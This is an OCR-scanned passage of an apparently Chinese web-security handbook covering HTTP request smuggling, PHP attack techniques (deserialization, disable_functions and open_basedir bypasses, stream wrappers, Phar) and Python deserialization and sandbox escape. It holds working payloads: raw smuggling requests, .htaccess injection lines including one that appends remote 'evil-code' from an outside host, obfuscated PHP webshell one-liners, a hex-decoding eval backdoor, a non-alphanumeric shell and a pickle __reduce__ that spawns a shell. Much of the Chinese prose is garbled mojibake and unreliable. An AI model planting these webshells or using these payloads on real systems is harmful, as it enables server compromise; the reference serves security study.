TE-CL 151 AR 55 #3432 Transfer-Encoding &Kk, T )5uiAR 55 #AL B Content-Length K3k . filfn:

POST / HTTP/1.1\r\n

Host: example.com\r\n

Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n

12\r\n

aPOST / HTTP/1.1\r\n

(T gk%E)
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(£ k)
\r\n
0\r\n
\r\n
TE-TE

TE-TE #5715 55 # &AL P Transfer-Encoding 33Kk, (H@TERFEME RIURR, GBI AR 5545 7T

AESx AL PH Transfer-encoding , M f4N:

POST / HTTP/1.1\r\n

Host: example.com\r\n

Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n

5c\r\n

aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n

\r\n

x=1\r\n

O0\r\n

\r\n

4.17.5 B5H
o B EuRERE N
o FAEREERE Y IR IR 55 s ELA A R Y T B
o FHYEA SRR

4.17.6 &E5EE

RFC

o RFC 2616 Hypertext Transfer Protocol - HTTP/1.1

o RFC 7230 Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing — HTTP/1.1

138
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Blog / Whitepaper

e HTTP Request Smuggling by chaiml

o HTTP request smuggling by portswigger
o M—IEMF|PPZEIEZ HTTP 3RER
e HTTP Request Smuggling in 2020

e h2c¢ Smuggling: Request Smuggling Via HTTP/2 Cleartext (h2c)
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CHAPTER b

5.1 PHP

5.1.1 717
php.ini ¥R

FIH auto_prepend_ file ] include_ path

.user.ini ¥R PHP &1

.user.ini W47 T A DA fastegi 12471 server. F| 5[ php.ini

5.1.2 RFF3IME
PHP 3L 3EH

HRLEE

PHP J35 kAL BRIEA JURP, 4>%14 php. php_serialize, php_ binary Fl WDDX (22 B4 0 TF S0 55), Bk
AN php, FESECE A session.serialize_handler 15k,
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st PHP gmighm AT WDDX Z#¢, WHEEH WDDX, WDDX M PHP 7.4 A5 G7H. M PHP
5.5.4 FA] PA# A php_serialize, php_ serialize 7F P35 &] B E 04 F serialize/unserialize %L, 7 HAS
A php # php_binary Bt BA 1R .

Hi PHP AbFEgSis ol i + B4 + 2 serialize() BT ALTRAG{E .

Ho php binary ZRBEEFISEN 0 BANK XTI A ASCIL F4F + #44 + 4l serialize() BRBUTFI AL
PRAMH

Herp php_serialize ZEFRASAUARCN 0 Gl serialize() PRAUTFILALEREAL

FFolftiE

Ho php_serialize BY)5ZHIAE php-src/ext/standard/var.c H, FZEpRECH php_var_serialize_intern
, JFIMEIE RS R

e boolean
— b:<value>;
— b:1; // true
— b:0; // false
e integer
— i:<value>;
e double

d:<value>;

« NULL

e string

— s:<length>:"<value>";

— s:1:"s";
e array

— a:<length>:{key, valuel};

— a:1:{s:4:"keyl";s:6:"valuel";} // array("keyl" => "valuel");
e object

— 0:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};

+ reference

— fREHA
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— R:reference;
— 0:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}

— $a = new AQ);$a->a=1;$a—>b=k$a->a;

private 5 protect

private 5 protect &AM public ZZE AR, AHEEIZBE.

private J& M HAETE HAOE SUWFENERT ), HA SR, TefErEnim 2644, R %00className%00 J T
hrE H2FAA o

protected J& Ml DATESCIERN TR 51, AZ BTN %00%%00 I FH55E Hoig ZRIP11 -

PHP REFEJ{tIRiE

php TESJFHMEIHESH ] __wakeup / __sleep S5pR%L, TIRESHE MRS IATEE S, #5775 A H R %L,
TEATR IO 28 FHAH SRR BR B, TRIRE 2 AR IS 0UF T o

Fi4h __toString / __call WA R W HE.

Hp __wakeup 7E P FMLIN G fih %, __destruct ¥ GC Wgifih %, __toString ¥E echo Wgifih %, __call
TE— AR S R AR FH sl i

R AR FLY demo.

class Demo

{

public $data;

public function __construct($data)

{

$this->data = $data;

echo "construct<br />";

public function __wakeup()
{

echo "wake up<br />";

public function __destruct()

{

(@iE23)
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(8:EW)

echo "Data's value is $this->data. <br />";

echo "destruct<br />";

var_dump (serialize(new Demo("raw value")));

i

construct
Data's value is raw value.
destruct

string(44) "0:4:"Demo":1:{s:4:"data";s:9:"raw value";}"

PR BN — TG, AT
unserialize('0:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');

i

wake up
Data's value is malicious value.

destruct

XA, [HEPENT.

EMi7Z—4> unserialize O WYRIFMN, AR, DR __wakeupO B __desturct O AHEUEHRE, L
WNEE S SRVERCR R, AT DAJE 1 BRI IS B B A R A TR

W2, AE __wakeup O HMAFIWE T FT AR IEXANFNE? 7E __wakeup O HIRATIMA—ATHIH

public function __wakeup()

{
if ($this->data !'= 'raw value') $this->data = 'raw value';
echo "wake up<br />";

}

RIS AT AGEL Y, 8 PHPS < 5.6.25, PHP7 < 7.0.10 HRAHAFAE wakeup HYJiH . 24 5751 4LH
object M HANZ BT NEOANSERS, wakeup g, TRMM T payload

unserialize('0:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');

i
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Data's value is malicious value.

destruct

X wakeup #E5ed, (EHKIBHES T .
FIAR
SoapClient J[R&FIH

php 1) SoapClient 28 1] PAAIEE soap FHEdR 3¢, FEAE wsdl #iX R, SoapClient FSEH S FIAL I 2>
XEE —ASSHEFE AN url #47 soap WK, ZFRETIH T SSRE.

ZipArchive [R4EFIH

php Jf4:2 ZipArchive: :open() "y flag ZHANRIKE N ZipArchive: :OVERWRITE I}, SxMER4gE i,
KR — R 251 AT DA TR SO

Session

PHP 1 session BRIASEASCIFIZATERKI, SCPFRA sess_sessionid fi44, 7E session — i BEREATHAGNIL T,
T3 session il & ST AL .

#H3%< CVE

CVE-2016-7124

\

{E PHP 5.6.25 Z BIRAH 7.0.10 Z FIHIRAS, SXF L@ (2
SWEAT .

i) BT SEBRIAN ST, __wakeup() A

5.1.3 Disable Functions

HliHIse 3

PHP  Disable Function BJsZHE7E php-src/Zend/Zend-APL.c F1, PHP FE/Eshit, SeEt & e 2k b
PIREL, BRI R %2 V] zend_disable_function SSLHAE (AR .

XA BR B AR R A8 R N B R B R TP R B W R AL B IS B, i RAS A AR AR
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ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {
~{{ */
{
zend_internal_function *func;
if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_
~length))) {
zend_free_internal_arg_info(func);
func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_
_.RETURN_TYPE) ;

func->num_args = 0;
NULL;
func->handler = ZEND_FN(display_disabled_function);

return SUCCESS;

func->arg_info

}
return FAILURE;

FIRRE) S 202, disable classes 32X FESL LR

ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */
{
zend_class_entry *disabled_class;

zend_string x*key;

key = zend_string_alloc(class_name_length, 0);
zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length);
disabled_class = zend_hash_find_ptr(CG(class_table), key);
zend_string_release_ex(key, 0);
if (!disabled_class) {

return FAILURE;
}
INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new);
disabled_class->create_object = display_disabled_class;
zend_hash_clean(&disabled_class->function_table);

return SUCCESS;

XA SEIALH R R, 72 PHP 3315003 ini_set R{5Ik disable_functions #f disable_classes
[T
S TCRLI -
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Bypass

« LD_PRELOAD &4
— https://github.com/yangyangwithgnu/bypass_ disablefunc_via LD _PRELOAD
— mail() + putenv

o« PHP OPcache

o Mail K%k

e imap_ open

— https://www.cvedetails.com/cve/cve-2018-19518

5.1.4 Open Basedir

HIScE

PHP ' Disable Function BJSEHZTE php-src/main/fopen-wrappers.c H1, SEELT 2R AR A SCUFEEAH o6 452
VERTE FH BR AR PR B AR R R AT R R AE basedir Py, b —3 o S ARSI -

PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;

char *end;

/* Check if the path is too long so we can give a more useful error
* message. */
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref (NULL, E_WARNING, "File name is longer than the maximum
—allowed path length on this platform (/d): ", MAXPATHLEN, path);
errno = EINVAL;

return -1;

pathbuf = estrdup(PG(open_basedir));

ptr = pathbuf;

while (ptr && *ptr) {

(T gk%E)
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(8:EW)

end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
xend = '\0';

end++;

if (php_check_specific_open_basedir(ptr, path) == 0) {

efree(pathbuf) ;
return O;

}

ptr = end;

}
if (warn) {
php_error_docref (NULL, E_WARNING, "open_basedir restriction in effect. File(
—/s) is not within the allowed path(s): (/s)", path, PG(open_basedir));
}
efree(pathbuf) ;
errno = EPERM; /* we deny permission to open it */

return -1;

/* Nothing to check... */

return 0;

5.1.5 R2HEXEE
3 52 PR

"1 disable_functions / disable_classes [Ri| PHP W& ) sREFI2E,

B R 71 PR 1

AJiEd open_basedir Rl PHP AJ {1/ H H 5%,

25| AR

it all_url_include FRERE TS, BRIASE . Wl allow_url_fopen FRHIFIIFmAE SCf, 2R
VIR
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Session

Session.Save

PHP [ Session ZLiA handler {4, f7fif7E php.ini Y session.save_path W, FHEEEE AR
R, W ATE P EEHL session, A phpinfo HR] 3RS session {i .

Session.Upload

PHP ZRiAFF/5 T session.upload_progress.enabled , iZ%ikWi4 SEUE M _EE R L, HALMHEAZRTT A
7£ phpinfo HREL.

A2 T A A AR ST I AR 5 e ki, AEA LET A 00 R BT A

5.1.6 PHP if

&g
i (Streams) FMEEIEAE php 4.3 SIAR, XIS, HTE—BdnE, Hascrgds . M
Bl AR

VAT PAMEST file, open. fwrite, fclose. file_ get_contents, file_ put_ contents Z&REFAE .

ESE-30 0
PHP iR Z W' URL KASYERE ML, AT T4 fopen() . copy(). file exists() Fl filesize() BSCIF 5
BEER%L. SO ] stream_get_wrappers() £ .
o file:// UiFIAHICIF RS
e http:// Vil HTTP(s) Mk
e ftp:// iJjli FTP(s) URLs
e php:// PiFAA NN /FHR (1/0 streams)
o z1ib:// R4l
o data:// s (RFC 2397)
o glob:// AARVERCHY U B AR
« phar:// PHP |4}
« ssh2:// Secure Shell 2
« rar:// RAR

o ogg:// EHIL
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o expect:// AP H AW

PHP 3Z#i
PHP 247265 A /4 (10) i, feiFiiinl PHP Ak AR R, A Ad BRI iR ey, ifg
A% A U3 A ek PR SCPAAT DA 2 T AR LA S U A ST B IR e D i -

TR, VR allow_url_fopen i, B2 php://input, php://stdin, php://memory il php:/
/temp ZfRT allow_url_include .

TP T P

php://stdin , php://stdout Fl php://stderr JuiFEHF1JH] PHP JEFEAH R i A BCE i B
FUR TR SCOHERRT, BrAUERAESTIF php: //stdin HAEZ JG K T, SUZRM TR G, HIEGIH
f) STDIN H-ASZ5 M.

o php://stdin 2 HiEMY, php://stdout I php://stderr 2 HEH.

fd

php://fd SRV E VTR E R S RASF . BN php://£4/3 51T SCUHRRST 3.

memory 5 temp

php://memory Al php://temp J&—MREISCIF AR EIGT, RVFES IR Ed. P X2
php://memory B EALKHRHIFAENATH, 1l php://temp SAE AT ELAEIUE LIRS (BRILZ 2MB)
AN SO I SO E R P E R sys_get_temp_dir ) 77—k,

php://temp ¥ PAESRFI AT 7 /maxmemory : NN S5 ihl, NN ZDAFEA MBS, 5 AR NAEI i K
i, R DU I B SO

input

php://input J&ANA] PAVH ) SR K SR A B 1) e . POST #RTENL T, i@ 1] php://input FALEE
$HTTP_RAW_POST_DATA, BRI T45ER php.ini $$4. MiH, XAEM5H N $HTTP_RAW_POST_DATA
BN A IETE, LIS always_populate_raw_post_data JE{EF I H /D NIFE. enctype="multipart/
form-data" I php://input 2 TR .

filter

php://filter JE—FionEPRAy, Wil M TEIRRITIT A e JER A . PHP BRASR B T — Ll JE4s
BRLZ A, BRI DABE A A R S g -
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filter A5 resource, read, write =34, resource ZER NI . BIEE TIHE &S IENBIER . read F
write ZF[ESE, W PARE DB UER AR, VAR () 2.

g IIR

DA stream_get_filters ) RN ATEM YL UERRSK . Hb PHP B EIES T -
o FRFRLIESS
— string.rot13
— string.toupper

— string.tolower

string.strip_ tags

convert.base64-encode

convert.base64-decode

convert.quoted-printable-encode
— convert.quoted-printable-decode

— convert.iconv.*

— zlib.deflate

zlib.inflate

bzip2.compress
— bzip2.decompress
o ML
— merypt.‘‘ciphername*

— mdecrypt.‘‘ciphername**

idiEREFIA tricks

« LFI

— php://filter/convert.base64-encode/resource=index.php
o XXE BERCCHF & MG, T base64 Zh
o base64 Zifih Sy T RAERD R NITFARF, 7T Geid—2E 30 phAg
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o &R convert & KEMEIHFE, WHIE DoS
o rotl13 / convert #ifiid WAF

5.1.7 htaccess injection payload

file inclusion

php_value auto_append_file /etc/hosts

code execution

php_value auto_append_file .htaccess
#<?php phpinfo();

file inclusion

php_flag allow_url_include 1

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaWbmbygpOw==
#php_value auto_append_file data://text/plain, 3C/3Fphp+phpinfo/,28/,297,3B
#php_value auto_append_file https://sektioneins.de/evil-code. txt

code execution with UTF-7

php_flag zend.multibyte 1

php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs

Source code disclosure

php_flag engine 0

5.1.8 WebShell

&

BRE

« GLOBALS
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— eval ($GLOBALS[' _POST']['op'1);
$_FILE
— eval($_FILE['name']);
i
— eval(${"_P0"."ST"} ['sz']);
A RE AT
— $k="ass"."ert"; $k(${"_P0"."ST"} ['sz'l);
— $a=$_GET['a'];$a($_GET['b'D);
create__function

— $function = create_function('$code',strrev('lave').'('.strrev('TEG_$').
"["code"]) ;') ;$function();

preg_replace

57
— str_replace(” 7, 7e val”)
b i
— "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6£\144\145"
Ailiasy
G A R I G I VAt D I G RalVAD I QR SabVAD F
A s
— $a="a";$at++;
i e 7R e i
— $a="";8%a.=[1; // Array
ISR
— __FILE__
1R
— $as"e" . My". /4—/k—k/"a" [x—k/"1";
2]
— ReflectionFunction
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Bypass
o JET/b W%
— mb_eregi_replace('.*',$_GET[1],'','e"');
— set__error__handler + trigger error
o MET IR

— putenv($_GET["c"]);eval(getenv('path'));

parse__str
— parse_url
— extract
— token_ get_ all
— define
o JETAHWIR

— $a = filter_input (INPUT_GET, 'c');

eval (end(getallheaders()));

get_ defined_ vars

getallheaders

— get_ meta_ tags

— phpinfo

— SR/ SUEEE
— T # toString

FHBEREH

¢ base64 decode
e base64 encode
e str_replace

e str rotl3

o strtok

o strtolower

o strtoupper

e strtr
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o substr

e substr_replace
e trim

o ucfirst

e ucwords

(51 &5 4%

e array_ filter

e array_map

e array_reduce

o array_ walk

e array_ walk

e array_walk recursive
e call user func

e call_user_func_ array
o filter var

o filter var array

e preg replace_ callback
o register tick_function
o registregister shutdown_ function
e uasort

o uksort

InfRE E B

e mcrypt_encrypt

e openssl_encrypt

HAp AT AR

o FFI

e SimpleXML
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¢ SimpleXMLElement

B LR

) S SR INAR R R R, AE—E R BT PAGEE — B8Pk g AL, R T AU g — T oS il Y
PATR TR R 1

$string = '';
$password = 'password';
if (isset($_POST [$password])){
$hex = $_POST[$password];
for($i = 0; $i < strlen($hex) - 1; $i += 2) {
$string .= chr(hexdec($hex[$i] . $hex[$i + 11));

}
eval($string) ;

5% F4F Shell

PHP {7 fFanl DMESE T80, AR, SEEI TR, ST AR P AT AR A B Shell,

<?7="{${~"\xa0\xb8\xba\xab"} [~"\xa0"]}";

Q$_++;
$__=(u#n'~n | u) . (n X nAu,,,n) . (n/u'\u*n) 3 (u | ||A||/||) . (u{u'\n/n) ;
O${$__F'$_1(s{s__3[$_1);

$_=[1;

$_=0"$_"; // $_='Array';
$_=¢_["1'=="0'1; // $_=%_[0];
$__=%_;// A

$__=%_;

R S o T o o N e J o e T o o S o T o S T o S o o
BC S T T = o T =

$___.=8__;//8

$___.=%__;// 8

$__=$_;
$__++;8__++;8__++;8__++; // E
$___.=$__;

$__=%_;

(M ougksr)
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(8:EW)

$__++;$ ;8 ;8 ++;S S 458 S S 48 8 S 48 448+

w++;$_ ++;$_ _++; // R

$___.=%__;

$__=%_;

CJE T S TS S R PR J o NG P R S J o S PR J o G P S S S S S

oS S 448 ++;$ ++; // T

R = T T T o T o T o J e T o o T o N o e TR o S S S o e T = o S o

$__++;$ ;S ;8 ++S S 48 S S 4+ S S 48 ++38_ _++; // O

$___.=$__;
$____="_";
$__=%_;
$ ;
o+t // P
$____.=$__;
$__=%_;
$____.=$__;
$__=%_;

S__ ;A8 S__ S S S S S+ S+ S S+ $__++s 8

oS ;8 4438 ++; // S
$ =$__;

$__=%_;

$__ S S__AS__HHS__B_ S+ S eSS 8_ 8858

oS S 448 ++;$ 4+ // T

$ .=$

—_—— Jp—}

$_=8$____;
$___(base64_decode($_[_1));

LorIPaET S

o HTIRIE BT A

o BT HE R TIT
L S A TR R A
BT R T WAL 7
ET 5 AL BT R R

5.1.9 Phar

5.1. PHP
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[CF1
Phar (PHP Archive) SCf@—f @, K PHP AU SCOFRHA ST — AN S0 R S B AR
R 73 K o

1ER H Secarma 24T 5 Sam Thomas 1t 18 4Ff Black Hat FEEMEMM TG, TFHAZE]ZH
Phar A FI i /2 M Phar PAFFFILRTE A6 T E R meta-data, TPARITE TR, 2 E3)
B, AT fih 2 %08 B2 4 o 280

Phar 3T {454
Phar g PUNEA 2, 4> B2 stub / manifest / SCEFINES / %544, stub 3832 __HALT_COMPILERQ); X4~
Vi H7E PHP RAg .

manifest G5 FE4E SRR . J@dE. e E I meta-data Z5H, X 2IBHMZO, FE
BEfAHr Phar Xt meta-data (1 5% 504k

Fi
phar BYsZILE php-src/ext/phar/phar.c #1, F35/E phar_parse_metadata BREIEARNT phar OB JE
T php_var_unserialize , [Kf i il )5

M php XX RAC RS FE P 28 ] _php_stream_stat_path (/main/streams/streams.c) , [ 5 [a]4%1H
phar_wrapper_stat , [TPAKE M SO ER BT T LA & phar (1) 5721 A &

BTS2 (4 A s B -

fileatime / filectime / filemtime /stat / fileinode / fileowner / filegroup / fileperms / file / file_get_ contents
/ readfile / fopen / file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_ writeable /
is_ writable / parse_ini_file / unlink / copy / exif thumbnail / exif imagetype / imageloadfont / image-
createfrom™** / hash hmac_file / hash_file / hash update_file / md5_file / shal file / get_meta_ tags

/ get__headers / getimagesize / getimagesizefromstring

5.1.10 Sink
FEEREBHRT
e cval

e assert

e call user func
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PITREGS

pentl_exec
exec
passthru
popen
shell exec
system

proc_ open

Magic F#g

__construct () MHEXFR A HH

__destruct O B0 Gl A LG A N ]

__call ) WA AT SR 7 IR )

__callStatic O AR5 EA LRSI IR HE

__get O PHUN RT3 1) SO A7 S 1R A 11

__set () Gy AT M s AL MR ]

__isset O XAV HSAIAEREIER isset B empty O HHHIR
__unset O XA SAAFAERJEPEVET unset IF#

__sleep) XGFILIN B ]

__wakeup ) XFGRIFHIMIBIR, HA P8I 745 e Fom Xt s B E R T H L 1

Bkt wakeup HYSUAT

__toString () 24— RPHEA T AF R I
__invoke O X R PARR KT I H e
__set_state() VM var_export () S Aml 4k H A
__clone ) #ATXI4 clone W41 H

__debugInfo() ¥Jf| var_dump() T EI%F4 g

XHHEXERE

move_uploaded_file

file_put_contents / file_get_contents

5.1.
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e unlink

o fopen / fgets

SSRF

o file_get_contents()
e fsockopen()

e curl_exec()

o fopen()

e readfile()

phar fili % =

o fileatime / filectime / filemtime

« stat / fileinode / fileowner / filegroup / fileperms

o file / file_get_contents / readfile / fopen‘

o file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_ writeable / is_ writable

e parse_ini_file

o unlink
s copy
o exif
— exif thumbnail
— exif imagetype
e gd
— imageloadfont
— imagecreatefrom™***
e hash

— hash hmac_file
— hash_file

— hash_update_ file
— md5_file

— shal file
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o file / url
— get__meta_ tags
— get__headers

o standard
— getimagesize

— getimagesizefromstring

[REZFIR
« XSS
— Error
— Exception
« SSRF
— SoapClient

o open__basedir £45k
— Directorylterator 454 glob://
¢« XXE

— SimpleXMLElement

5.1.11 HE

RRE

php FIEA B Bk B SR AT Sk, T2 F 8 ] IEEE 754 XU A%, 1 A b e B0 R B b e vy s i
T RES B 2 A iR . il php -r "var_dump(0.2+0.7==0.9) ;" X744 & bool (false)
MAE bool(true) . XFE—LLIFHL R Al GE H BH o)t

AR

WARAEH == RFIWTHHEE , T PR A 2B IR 30— SE Tkl 2 AMWAT R, BN magic hash, #8247/ md5 {f
#lJ2 0e[0-91{30} MyHME, AW hash A, J3AMERIWT AR IBCF Ry mHE, PHP 2 H i
KR AR 24 1=="1a.php" WZEHE & true

FIAMEFIBr—2E hash B, QRAE AR EAL, RIEMES A NULL, R AEHIKT R B 9 2505 K 5 8 il e A (8
B e B T g 2 2

IR, stremp() ereg() strpos () X LR B AL BEALA It th 2 57, a&[n] NULL.
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HIWAT

preg_replace 55— S HE/ /e WEHE, - NSHSH41EMSIIT

1]

PHP “FAHFAEMBINTTH, LA ereg / %00 / iconv SFSEH php FAFEITIHAE, MM fil % i -

TEES

Wffi ] extract / parse_str SFEEET, oA php 19 $$ HpvEmt, W REA LA, WA EE S H
o] DME B A & .

php #5i%

o php A STEMTHERIYIR, WERSEATFHAE” 7. "7 " BN, SRR T R4

e T YA, urlencode il RFC3896 fFAF—E M AIE, PHP HAMEMLT ravurlencode X} RFC3896
56 AR E ) SEEL

/tmp IEE RS

phpinfo W[ P5FIINF, RTPAEEI_EZRImI SCIFREEAR, MIMSEEL LEL,

5.1.12 XL ah
8.0

o TFRIEREUT IR

o INTRSEON AR S DRI L S S R 4
o assert AFFFIMATMD

« B create_function

o H mb_ereg_replace () Hiff e Kz

o Phar HITEEATEH ST R
o parse_str WAL A NS4

o % php://filter H1[{Y string.strip_tags
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7.2

7.1

7.0

5.6

AR AT B WARNING

create_function #§E

assert NREME A FAFHRRIAA

RS A SHAE L T parse_str() 2774 E. DEPRECATED %45

___autoload() #E 7

AP SRR AL SO e 2 R B DR B T AN e e
TEATERERF G TR AT AL 753k

call user func() AN SRR &R eREC TR A

mb_ereg_replace() Fl mb_eregi replace() [ e BB M#F o8 75
ext/merypt #% K 7

preg_replace "e” EMif e 4 E.WARNING 4517 H A%
BERPTA ext/mysql BEK

WG ext/mssql pREL

4 call_user__method() # call_user_method_array()
foreach ANFEHCAE ATREC LR £

TEZ T, — /NIRRT S A TCR, S TCRC PR By (0128 KFpifithy 012), BlfE
OR8N E ] AP 7 A AT B

TR AR A A R

dl() £ PHP-FPM AFT ], 7F CLI il embed SAPIs H{/4T] i

W ASP 1 script PHP 325, B <% %> / <%= %> / <script language="php"> </script>
TERAE I T IR, AR RBCRF 22 R

$HTTP_RAW_ POST DATA #i#K

$HTTP RAW POST DATA #E#

5.1.
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o WASEHEE CURLOPT _SAFE_UPLOAD  FALSE A REfs i fi Qfile 1EvA% 4% 04

5.5

e preg_replace 7e” 1%y r~4 E_DEPRECATED 4%

o JEFF mysql_* ZF|EEL

o AL AR
o BEREASS
o WAFAU AT 4% E_NOTICE R4 iR

5.1.13 Tricks

o is_numeric §iJ5A I, ASHIWH true

o FAHCCE, BN Oe TFKHYAN IR Ay 22 WAy b 45

o ARBIHCERE;, ARRCT PR R SRR U & A Sl e

o stremp/ereg 2 pRBTE E ASHEA N BAIN 2 A EHUNAT A

5.1.14 SE5E

Bypass

e php open basedir bypass
e open basedir bypass

e Bypass Disable functions Shell

Tricks

e php wrappers

o UFHMZ PHP J5A 380 F)

o php fEE BRI 4

o Surprising CTF task solution using php://filter

o AL ATEZ Webshell 52k 5 8%

164
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https://github.com/l3m0n/Bypass_Disable_functions_Shell
https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf
http://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html
https://gynvael.coldwind.pl/?id=671
https://mp.weixin.qq.com/s/ol70aVdvybzMJmtfxaAAZQ
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WebShell

e PHP htaccess inject

php A%

o PHP WebShell 285 A 45

o —HA ST T B webshell

o PHP Webshell #F46-15 45

Phar

e US Black Hat 2018 Phar
o FIH phar #ifi€ php 5754k Bedi
e Phar 5 Stream Wrapper i PHP RCE fEASZHH

A

BT
e Learning the PHP lifecycle
« PHP7 WZFHHT

Blog

e How we broke PHP

5.2 Python

5.2.1 X ILFFHER

1£ Python ., FHFMEAATFAHH I, & Python2 MYBARMRA T, 8L FFER 7=l "this is
a %s" % "test" , ZJFHINT format Y, 1EYEN "this is a {}".format('test') EiF "this is
a {test}".format(test='test')

DAL AT AR, AT S 2, R T R BT

>>> 'class of {0} is {0. class }'.format(42)

"class of 42 is <class 'int'>"

M ETH XA T B B A ERGE, M FRATT W] AR 2 format (AT HREE, WA RAEA] __init__ /
__globals__ GIRME I L LR U, AR PATAES .
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https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet
https://blog.manchestergreyhats.co.uk/2018/11/07/php-malware-examination/
https://www.freebuf.com/articles/web/155891.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://mp.weixin.qq.com/s/FgzIm-IK02rjEf3JvxOxrw
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
https://paper.seebug.org/680/
https://blog.zsxsoft.com/post/38
http://www.phpinternalsbook.com/php7/extensions_design/php_lifecycle.html
https://github.com/pangudashu/php7-internal
https://www.evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/
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5.2.2 RSt

pickle demo

Python Pickle ¥£ JF 4Lt &J8A __reduce__ , A HEXH __reduce__ pRETE LI .

import pickle
import pickletools

import subprocess

class A(object):
a=1
b=2
def __reduce__(self):

return (subprocess.Popen, (('cmd.exe',),))

data = pickle.dumps(A(Q))
pickletools.dis(data)

HibFFFILE

« PyYAML
o marshal

¢ shelve

5.2.3 48
FRER

o eval / exec / compile

o dir / type

globals / locals / vars

o getattr / setattr

SFABHR

e import os
e from os import *

e __import__("os")
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g
E‘

B

importlib
imp
reload(os)

execfile {¥ Python2 I #F

dir(__builtins__) #&FF N B
i A B R AE B A AR R import, QISRAB MR EL 2 import B] DAFIFH AR ER v DABEH T

FEAL T F 3R AT AR, i WL payload 2 (). __class__.__bases__[0].__subclasses__() 5{F
FBEAR R4 RVERE __init__.__func__.__globals__

A LR 1L U8 pickle fibe, WTRAM pickle SCBUER A IAT, LK payload WA https:/
/gist.github.com/freddyb/3360650

AW UPFETEAR X RSB MR T, W AE libe k%, Python Hif FH— i vl RAGE
ctypes 5{F cffi,

IIAII IIBII == IIABII

Python 77 47 T —LER I &L

A Jython H2 i H Java -5 B 27 IR
i [ fakeroot EiEH
i || —2L rootjail fFEA

5.2.4 {EZE

Django

meiRR

CVE-2016-7401 CSRF Bypass
CVE-2017-7233/7234 Open redirect vulnerability

CVE-2017-12794 debug page XSS

5.2.
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https://paper.seebug.org/58/
https://www.djangoproject.com/weblog/2017/apr/04/security-releases/
https://www.leavesongs.com/PENETRATION/django-debug-page-xss.html
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BEHEX

o Nginx 7624 Django MU= [ACERRY, 8O H RACE #HR S FEORSMEE . 1A /static.. 2 301 &
EmF| /static../

Flask

Flask ERIAfH % i session, ffifF session n] PARE P

5.2.5 KGR}
BRREAX
o FTF AST ZAGn
o GiiEHN pye M
e Pyinstaller

e PyArmor

o L AES %A pye Xt

5.2.6 Sink

WLIIT

e bdb.os

e cgi.os.system
e cgi.sys

e commands

e ctypes.CDLL
e eval

e exec

o execfile

e input // python2 only
e 0S.exec

o os.fork

e 0Ss.popen
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0s.spawn
0s.system
platform.os
platform.popen
platform.sys
popen2

pty.os
pty.spawn
subprocess
timeit.sys

timeit.timeit

SCHFIEER

open
o0s.open
urllib.request.urlopen(file:// /%)
codecs.open

fileinput

¢ Python2

— types.FileType

BREE=FE

Template

subprocess32

R P35It

marshal
PyYAML

pickle

5.2.

Python
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o cPickle
e shelve

o PIL

5.2.7 &EHEEE

RFEF3IHE

e Python pickle [ J#54k

o Python YP4F'E 7 wiki

o Python eval 7 WLAF BN KA S

o pickle Python X4 %54k

e Sour Pickles A serialised exploitation guide in one part

e How pickle works in Python

D

» Python VPAIE M SEid

« —ICETE Python Yhffidkik
BRI F AR

« Python 45 B A AL il

e Be Careful with Python’s New-Style String Format

58

e python security
o Python ‘24 FIAASHITHAH X TR SE

5.3 Java

5.3.1 EXS
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http://www.91ri.org/9576.html
https://wiki.python.org/moin/SandboxedPython
http://xxlegend.com/2015/07/31/Python%20eval的常见错误封装及利用原理/
https://docs.python.org/zh-cn/3/library/pickle.html
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
https://rushter.com/blog/pickle-serialization-internals/
https://www.anquanke.com/post/id/86366
https://www.freebuf.com/articles/system/203208.html
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/
https://github.com/vstinner/python-security.git
https://github.com/bit4woo/python_sec
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JVM

JVM 2 Java *F-E 00, PSRRI, AR AT AL T RrR M BT a B TIRE, BN i At .
JIT Ziifds . BRdEanss . hTERNEHUHESCIR, HRRESZ 2] oS0k 52 8 i i

JCL 2 JVM Birm—MhrifEpe, SAEANRGE. AR T, rA RakE e GEm, B3aa
HUEST)E

JDK

Java JF & T HAL (Java Development Kit, JDK) 4 Oracle A @Kl Java ‘&, AIriER (Standard
